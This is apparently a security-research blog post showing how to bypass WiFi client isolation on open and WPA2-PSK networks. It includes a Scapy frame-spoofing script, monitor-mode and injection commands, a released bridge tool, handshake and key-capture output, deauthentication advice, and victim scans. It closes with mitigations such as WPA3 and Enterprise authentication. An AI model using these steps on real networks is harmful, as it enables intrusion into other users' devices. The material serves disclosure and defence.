WiFi network client isolation is a security feature that prevents devices connected to the same network communicating directly with each other. This article shows how to bypass client isolation by manually crafting packets and injecting them into the air with a monitor mode wireless adapter, even with WPA2-PSK enabled. This allows an attacker to target other connected devices through bypassing the access point entirely, along with the client isolation security it enforces.
Restricting clients from being able to talk to each other is a useful control to reduce the attack surface of connected clients. Especially in networks where it’s more likely for attackers to be on the network, such as in public networks (coffee shops, hotels), corporate guest WiFi, BYOD networks, or any place where rolling out WPA Enterprise is too much of a pain. Here’s an example – Steve connects their laptop to a WiFi network, has VNC Server running with no password, and hasn’t installed security patches since Rihanna released Umbrella. Steve is safe because whoever configured the WiFi network enabled client isolation, right? An attacker can’t discover and connect to the VNC Server, or exploit any of the various remote vulnerabilities on the laptop.
But what if they could?
There are a lot of acronyms when talking WiFi networks. To help, I’ve included a glossary section at the end of this article.
Background
Enforcing WiFi client isolation relies on the assumption that packets are being forwarded through the access point. The great thing about WiFi networks is it’s all just radio frequencies floating around in the air. With a WiFi adapter in monitor mode, we can capture 802.11 frames and also transmit frames into the air. To communicate directly with another client, we don’t really need the access point to facilitate that communication. There is no physical mechanism by which the access point can control how we wobble the air.
For example, here is a packet capture of a WiFi interface in monitor mode looking at traffic for an open WiFi network:
We’re not connected to the WiFi network, but because this is all radio frequencies floating about, we can see the traffic just fine. Not only that, we can also send packets into the air that get picked up by other WiFi clients.
On an infrastructure mode WiFi network without client isolation, communication looks like this:
With client isolation enabled, the access point blocks WiFi clients from communicating with each other like this:
Bypassing Client Isolation
To bypass client isolation the objective is to establish direct communication between us (the attacker) and a victim client on the network by manually transmitting frames and sniffing the victims response packets. This circumvents the access point and any client isolation protections it may be implementing.
The attack looks like this:
Distribution System
The Distribution System (DS) bits in a WiFi frame indicate whether the frame is being transmitted to or from the distribution system (network switch, usually the WiFi AP). These bits normally prevent client-to-client ad-hoc communication on an infra-network. However, we can craft frames with From-DS=1
to bypass this restriction. Essentially, the attacker’s frames pretend to be transmitted from the DS, so the client goes “oh this frame is from coming from the access point – cool”.
Here’s what that looks like in Wireshark. You can start inspecting this stuff yourself by configuring an interface in monitor mode and capturing packets:
When the attacker sends a frame for the victim client they use FCField: From-DS (DS to Client)
addr1 (Receiver Address): Who should receive this WiFi frame? The victim client
addr2 (Transmitter Address): Who transmitted this WiFi frame? The DS (But not really, it was the attacker)
addr3 (Source Address): Who originally sent this data? Us, the attacker.
When the victim client replies to the frame they use FCField: To-DS (Client to DS)
addr1 (Receiver Address): Who should receive this WiFi frame? The DS (But not really, the attacker will sniff it)
addr2 (Transmitter Address): Who transmitted this WiFi frame? The victim client
addr3 (Destination Address): Who is the final destination? Us. The attacker
If the attacker sends frames with To-DS=1
, they’re going to be ignored by the client. Instead, frames need to appear to come from the DS, with a return address of the attacker’s MAC address. By combining a TAP network interface, Scapy for manipulating packets and a monitor mode WiFi adapter, we have all the components needed to communicate directly with other clients and bypass client isolation.
Here is what an attacker crafted packet looks like, a simple Python script using Scapy to send an ARP packet from the DS:
from scapy.all import *
arp = (
LLC()/
SNAP()/
ARP(
op='is-at',
psrc='10.1.1.11',
pdst='10.1.1.10',
hwsrc='AA:BB:CC:DD:EE:FF'
)
)
packet = RadioTap()/Dot11(
FCfield="from-DS",
type=2,
subtype=32,
addr1="11:22:33:44:55:66", # Receiver address
addr2="DA:02:2C:9F:DA:ED", # Transmitter address (AP BSSID)
addr3="AA:BB:CC:DD:EE:FF" # Source address
)/arp
packet.show()
sendp(packet, iface="wlan0mon")
Scapy prints the packet information:
###[ RadioTap ]###
version = 0
pad = 0
len = None
present = None
notdecoded= b''
###[ 802.11 ]###
subtype = 32
type = Data
proto = 0
FCfield = from-DS
ID = 0
addr1 = 11:22:33:44:55:66 (RA=DA)
addr2 = DA:02:2C:9F:DA:ED (TA=BSSID)
addr3 = AA:BB:CC:DD:EE:FF (SA)
SC = 0
###[ LLC ]###
dsap = 0xaa
ssap = 0xaa
ctrl = 3
###[ SNAP ]###
OUI = Officially Xerox, but 0:0:0:0:0:0 is more common (00:00:00)
code = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = AA:BB:CC:DD:EE:FF
psrc = 10.1.1.11
hwdst = 00:00:00:00:00:00
pdst = 10.1.1.10
The transmitted ARP packet can be seen in Wireshark with the Frame Control Field showing From-DS=1
:
Let’s Get Attacking
I’ve developed a Python-based tool that bypasses WiFi client isolation by intercepting and manipulating WiFi frames. The tool creates a TAP network interface, processes frames in and out of the attacker’s PC and injects the modified frames into the air via a monitor mode WiFi adapter. By crafting frames with the appropriate DS bits and addressing, the tool bypasses client isolation. You can run this tool and it’ll give you a new network interface in Linux that’s on the WiFi network which sidesteps any of the client isolation protections.
https://github.com/Pulse-Security/wifi-client-isolation-bypass
I’ve tested against hostapd (using the ap_isolate=1
configuration option) and a Unifi network (using the Host Isolation feature). There could be quirks and gotchas with other vendor’s implementations, so feel free to let us know what works in your environments.
To get the tool setup, the following is required:
-
Some kind of Linux, I’m using Debian 12
- Install the software requirements, Python, Aircrack, and some Python libraries:
$ sudo apt install aircrack-ng python3 python3-scapy python3-pyaes python3-pycryptodome
-
An ability to sniff and inject 802.11 frames – a monitor mode WiFi adapter:
Find the WiFi adapter interface device name:
$ sudo airmon-ng PHY Interface Driver Chipset phy0 wlx00c0ca76c625 rt2800usb Ralink Technology, Corp. RT3572
Setup the WiFi adapter into monitor mode:
$ sudo airmon-ng check kill $ sudo ip link set wlx00c0ca76c625 down $ sudo iw dev wlx00c0ca76c625 set type monitor $ sudo ip link set wlx00c0ca76c625 up
Use Aircrack to test packet injection is working:
$ sudo aireplay-ng --test wlx00c0ca76c625 -a DA:02:2C:9F:DA:ED 11:02:57 Waiting for beacon frame (BSSID: DA:02:2C:9F:DA:ED) on channel 9 11:02:57 Trying broadcast probe requests... 11:02:57 Injection is working! 11:02:58 Found 1 AP 11:02:58 Trying directed probe requests... 11:02:58 DA:02:2C:9F:DA:ED - channel: 9 - 'OP' 11:02:59 Ping (min/avg/max): 0.432ms/9.292ms/53.869ms Power: -11.93 11:02:59 30/30: 100%
- Clone the tooling repository:
$ git clone https://github.com/Pulse-Security/wifi-client-isolation-bypass.git
Attacking an Open (Unencrypted) Network
If you’d like to test this yourself, you can use the following hostapd config:
interface=wlp4s0
driver=nl802011
bssid=DA:02:2C:9F:DA:ED
ssid=OPN
channel=9
ap_isolate=1 #hostapd client isolation mode enabled
Most WiFi Access Points and vendors should support client isolation, too.
The attack tooling looks like this:
To use the WiFi client isolation bypass tool, modify the config.ini
file according to the target WiFi network configuration. For open networks, comment out the CCMP_ENCRYPTION
value in the WPA_ENCRYPTION
section, and fill out the remaining fields.
[TARGET_NETWORK]
SSID=OPN
BSSID=DA:02:2C:9F:DA:ED
CHANNEL=9
[WPA_ENCRYPTION]
# Enable WPA2-CCMP encryption
# Leave commented out for Open (unencrypted) networks
#CCMP_ENCRYPTION=
# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable
#PSK=
...
Run the WiFi bridge script (wifi-bridge.py
) to start bridging packets between the attacker’s PC and victim client:
$ sudo python3 wifi-bridge.py
[*] Checking WiFi interface: wlx00c0ca76c625
[+] Interface wlx00c0ca76c625 is already in monitor mode
[+] Interface wlx00c0ca76c625 is already on channel 9
[+] Open WiFi mode
[+] TAP interface tap0 created with MAC 92:37:84:31:58:75
[+] Starting bidirectional bridge...
[+] TAP interface: tap0
[+] Wireless interface: wlx00c0ca76c625
[+] Debug mode: Disabled
Press CTRL+C to stop
[+] TAP reader thread started
[+] Starting WiFi sniffing on wlx00c0ca76c625
The packets can be seen passing through the script:
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[>] TAP -> WiFi (Broadcast|Unencrypted): 92:37:84:31:58:75 -> ff:ff:ff:ff:ff:ff
[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (ARP)
[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5
[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5
[>] TAP -> WiFi (Unicast|Unencrypted): 92:37:84:31:58:75 -> f2:d7:12:9a:0b:b5
[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)
[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)
[<] WiFi -> TAP (Unicast|Unencrypted): f2:d7:12:9a:0b:b5 -> 92:37:84:31:58:75 (IP)
This creates a TAP network interface that you can interact with in Linux, just like any other interface:
$ ip a show tap0
5: tap0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether 92:37:84:31:58:75 brd ff:ff:ff:ff:ff:ff
inet 10.1.1.66/24 scope global tap0
valid_lft forever preferred_lft forever
inet6 fe80::9037:84ff:fe31:5875/64 scope link
valid_lft forever preferred_lft forever
If we ping the victim, we can talk to them just fine and bypass the APs client isolation:
$ ping 10.1.1.40
PING 10.1.1.40 (10.1.1.40) 56(84) bytes of data.
64 bytes from 10.1.1.40: icmp_seq=1 ttl=64 time=1173 ms
64 bytes from 10.1.1.40: icmp_seq=4 ttl=64 time=33.8 ms
64 bytes from 10.1.1.40: icmp_seq=5 ttl=64 time=34.1 ms
We can now attack Steve’s laptop with whatever tooling we’d like, below is the output of an NMAP scan showing Steve has a VNC Server running:
$ nmap -Pn --top-ports 100 10.1.1.10
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-09 13:46 NZDT
Nmap scan report for 10.1.1.10
Host is up (0.29s latency).
Not shown: 94 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5800/tcp open vnc-http
5900/tcp open vnc
Nmap done: 1 IP address (1 host up) scanned in 31.38 seconds
Attacking a WPA2-PSK Network
Attacking a WPA2-PSK network with client isolation is more complex, but still doable. Before we can dig into this we need to understand how WPA works.
Protected WiFi
Over the years, there have been improved security standards for protecting WiFi networks: from WEP to the current WPA3 standard. Various attacks against these has driven continuous improvement to fix weaknesses in the implementations.
This research project focused on support for WPA2-CCMP-PSK encrypted and Open (Unencrypted) networks. Support for WPA-TKIP-PSK encryption should be relatively straightforward to implement (send me a PR!). 802.1X/EAP authentication modes and WPA3 support would be much more complex and likely not feasible.
There’s a somewhat overwhelming number of WiFi network security configurations possible, but this article focuses only on WPA2-PSK using CCMP.
WPA 4-Way Handshake
For key management, WPA uses a process called the 4-way handshake to calculate and install encryption keys. The 4-way handshake uses EAPOL frames to transport the authentication messages between the client and AP.
To communicate with WiFi clients and conduct our attack to bypass client isolation, we need to know two keys:
- Temporal Key (TK): Used for unicast client <-> AP traffic. Known to only the client and AP normally, but we will derive this as part of the attack.
- Group Temporal Key (GTK): Used for broadcast/multicast traffic. Known to all clients and AP.
Wireshark can decrypt traffic with a captured TK/GTK. Under the IEEE 802.11 protocol settings, both keys can be added. All already captured and new packets are then automatically decrypted.
To derive these keys we must first understand how the 4-way handshake works. As the name suggests, the handshake process involves 4 messages being transmitted between a client and the AP. EAPOL frames are sent unencrypted, so an attacker can intercept these with a monitor mode WiFi adapter.
At a high-level, the goal of the 4-way handshake is to:
- Prove both client and AP know the PMK (the authentication secret, such as the PSK)
- Derive session-specific encryption keys (PTK) for unicast traffic
- Distribute the group key (GTK) for broadcast and multicast traffic
- Establish a secure encrypted communication channel between the client and AP
Message 1: AP → Client
- AP generates ANonce (AP Nonce) a 256-bit random number
- Sends: ANonce
Message 2: Client → AP
- Client generates SNonce (Station Nonce) a 256-bit random number
- Derives PTK = PRF-512(PMK, ANonce, SNonce, AP MAC, Client MAC)
- Sends: SNonce + MIC(KCK)
Message 3: AP → Client
- AP verifies MIC from Message 2
- AP derives same PTK using received SNonce
- Sends: ANonce + GTK(encrypted with KEK) + MIC(KCK)
Message 4: Client → AP
- Client verifies MIC from Message 3
- Extracts GTK for broadcast/multicast traffic
- Sends: Confirmation MIC(KCK)
Phew, that’s a lot of keys being derived, let’s break down the hierarchy and show how each key is calculated:
Pairwise-Master-Key (PMK) = PBKDF2(HMAC-SHA1, PSK, SSID, 4096, 256)
Calculating the PMK requires the following:
- PSK: Shared passphrase used for authentication
- SSID: WiFi network name
Pairwise-Transient-Key (PTK) = PRF-512(PMK, ANonce, SNonce, AP MAC, Client MAC)
Calculating the PTK requires the following:
- PMK: Pairwise-Master-Key (as above)
- AP Nonce (Anonce): is a random number that the AP generates
- STA Nonce (Snonce): is a random number that the client generates
- AP MAC address: MAC address of the access point
- STA MAC address: MAC address of the client
The resulting PTK contains the following keys:
- Key Confirmation Key (KCK): Used to compute MIC for integrity
- Key Encryption Key (KEK): Used to encrypt additional data from the AP to the clients during the handshake
- Temporal Key (TK): Used to encrypt/decrypt messages after authentication process is completed
- MIC Authenticator Tx Key (MIC Tx): Used to compute MIC on packets transmitted by AP
- MIC Authenticator Rx Key (MIC Rx): Used to compute MIC on packets transmitted by the client
The structure of the PTK is:
| KCK (128-bits) | KEK (128-bits) | TK (128-bits) | MIC Tx (64-bits)| MIC Rx (64-bits) |
We need to obtain the TK for the victim client we want to communicate with, as well as the GTK so we can send broadcast traffic.
You can test with a WPA2-CCMP-PSK network with hostapd and the following configuration:
interface=wlp4s0
driver=nl802011
bssid=DA:02:2C:9F:DA:ED
ssid=CLSE
channel=9
ap_isolate=1 #hostapd client isolation mode enabled
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=supercoolpassphrase
The attack flow looks like this:
The attacker’s tooling looks like this:
To use the WiFi client isolation bypass tool, modify the config.ini
file according to the target WiFi network configuration. For WPA2 networks, fill out the WPA_ENCRYPTION
options and remaining fields.
[TARGET_NETWORK]
SSID=CLSE
BSSID=DA:02:2C:9F:DA:ED
CHANNEL=9
[WPA_ENCRYPTION]
# Enable WPA2-CCMP encryption
# Leave commented out for Open (unencrypted) networks
CCMP_ENCRYPTION=enable
# Pre-Shared Key (PSK), necessary for key calculation if CCMP_ENCRYPTION=enable
PSK=supercoolpassphrase
...
Run the WPA key capture script (wpa-key-capture.py
) to capture EAPOL packets containing the 4-way handshake:
Note: Aircrack can be used to deauthenticate a client to force them to re-establish their keys, which the attacker can then sniff. This means you can start communicating with any client right away, so long as you deauthenticate them first.
$ sudo python3 wpa-key-capture.py
[*] Checking WiFi interface: wlx00c0ca76c625
[+] Interface wlx00c0ca76c625 is already in monitor mode
[+] Interface wlx00c0ca76c625 is already on channel 9
[*] Starting WiFi monitoring on wlx00c0ca76c625
[*] Filtering for SSID: CLSE
[*] Filtering for BSSID: da:02:2c:9f:da:ed
[*] Starting packet capture... (Press Ctrl+C to stop)
[+] Discovered network: CLSE (da:02:2c:9f:da:ed)
When a 4-way handshake is captured, the TK and GTK are calculated and saved:
[2025-08-28 14:51:14] Captured handshake for client MAC: 0c:c4:13:30:e7:a4
[+] TK: 3c09f26acaa00e539b83105351f75618
[+] GTK: dc3eb1929c836d60cc70f7f95cb736d9 (CLSE)
[+] Key information saved to wifi_keys.json
Run the WiFi bridge script (wifi-bridge.py
) in another terminal to start bridging packets between the attacker’s PC and victim client:
$ sudo python3 wifi-bridge.py
[*] Checking WiFi interface: wlx00c0ca76c625
[+] Interface wlx00c0ca76c625 is already in monitor mode
[+] Interface wlx00c0ca76c625 is already on channel 9
[+] CCMP encryption enabled
[+] GTK available for BSSID(s): 7a:ac:b9:27:c2:f8, da:02:2c:9f:da:ed
[+] Client TKs available for: da:17:89:88:63:6e, 2a:26:0d:8d:69:d9, ca:30:b8:d2:40:95, 0c:c4:13:30:e7:a4
[+] TAP interface tap0 created with MAC 92:37:84:31:58:75
[+] Starting bidirectional bridge...
[+] TAP interface: tap0
[+] Wireless interface: wlx00c0ca76c625
[+] Debug mode: Disabled
Press CTRL+C to stop
[+] TAP reader thread started
[+] Starting WiFi sniffing on wlx00c0ca76c625
The packets can be seen passing through the WiFi bridge script:
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 01:00:5e:00:00:fb
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 33:33:00:00:00:fb
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 94:e6:f7:b7:fe:94
[<] WiFi -> TAP (Unicast|Encrypted): 94:e6:f7:b7:fe:94 -> 92:37:84:31:58:75 (IP)
[>] TAP -> WiFi (Unicast|Encrypted): 92:37:84:31:58:75 -> 33:33:00:00:00:02
ICMP packets sent to the victim are replied to, demonstrating connectivity:
$ ping 10.1.1.6
PING 10.1.1.6 (10.1.1.6) 56(84) bytes of data.
64 bytes from 10.1.1.6: icmp_seq=1 ttl=128 time=116 ms
64 bytes from 10.1.1.6: icmp_seq=3 ttl=128 time=32.4 ms
64 bytes from 10.1.1.6: icmp_seq=4 ttl=128 time=43.5 ms
64 bytes from 10.1.1.6: icmp_seq=5 ttl=128 time=38.3 ms
And once again we can attack Steve’s laptop, in this case connecting to the unprotected VNC Server. Looks like Steve is busy playing a cool game!
Parting Thoughts
Client isolation on Open, WPA-Personal and WPA2-Personal networks isn’t an effective security control to defend WiFi clients. The tooling demonstrates an attacker could bypass client isolation controls to attack clients on WiFi networks, since the radio transmission is happening from the attacker WiFi card directly to the client WiFi without the AP getting involved, it’s challenging to see how client isolation could be made to defend against this attack pattern.
If you’re relying on client isolation as a key security mechanism, it may be time to consider some alternative options.
WPA3 makes the attack infeasible (or at least much more difficult) through its improved key management. The PMK is no longer directly derived from the PSK alone. Instead, the PMK is derived from a shared secret established during the SAE authentication process, which incorporates the password along with unique random values from both client and access point (Perfect Forward Secrecy).
Enterprise authentication also makes the attack infeasible. Unlike the use of a pre-shared key where all PMKs are derived from the PSK. A client’s PMK is derived from their individual EAP credentials. To target individual users, the attacker would need these credentials to calculate the required encryption keys to establish direct encrypted communication with the client.
Migrating to WPA3-Personal or Enterprise authentication would provide the best mitigation from this attack. However, if it is essential your WiFi network uses a PSK for authentication with WPA or WPA2 then some vendors support Private PSK (PPSK), where one SSID supports multiple PSKs. Different PSKs are put onto separate VLANs, creating network-level isolation that way. Some further digging would be needed to see how PPSK in WPA2 holds up against these attacks.
Using Python with Scapy to demonstrate isn’t the fastest approach but an RDP connection is perfectly usable over the script in my testing. A challenge for the reader could be to re-implement the attack with a faster network stack. Another area of improvement could be to implement a reliable way for the attacker to obtain an IP address from the DHCP server, rather than using a static IP.
Glossary
Frame Control Field is the first 2 bytes of an 802.11 frame that contains information about the frame, including the DS bits which indicate the traffic direction. From-DS=1 indicates the traffic was transmitted by the DS, and To-DS=1 indicates the traffic is going to the DS for routing to the destination address.
TAP devices are virtual layer 2 network interfaces provided by the Linux kernel that allow userspace programs to handle network traffic directly, bypassing the normal kernel network stack.
Pairwise-Master-Key (PMK) is created by combining your WiFi password with the network name. This PMK serves as the main key that doesn’t change.
Pairwise Transient Key (PTK) is created by mixing the PMK with two random numbers, the router’s address, and your device’s address.
Group Temporal Key (GTK) is a shared key that encrypts multicast/broadcast traffic sent to every client on the network.
Temporal Key (TK) is a unique key for each client that encrypts unicast traffic between that client and the AP.
Extensible Authentication Protocol over LAN (EAPOL) is the protocol that carries the 4-way handshake messages between the client and access point during WPA authentication.
Simultaneous Authentication of Equals (SAE) is a password-based authentication method introduced in WPA3 that is a variant of the Dragonfly Key Exchange based on Diffie–Hellman key exchange to establish a shared key between the client and access point.
Resources
Pulse Security: WiFi Client Isolation Bypass (https://github.com/Pulse-Security/wifi-client-isolation-bypass)
NetworkLessons.com: WPA and WPA2 4-Way Handshake (https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake)
NetworkLessons.com: EAPOL (Extensible Authentication Protocol over LAN) (https://networklessons.com/wireless/eapol-extensible-authentication-protocol-over-lan)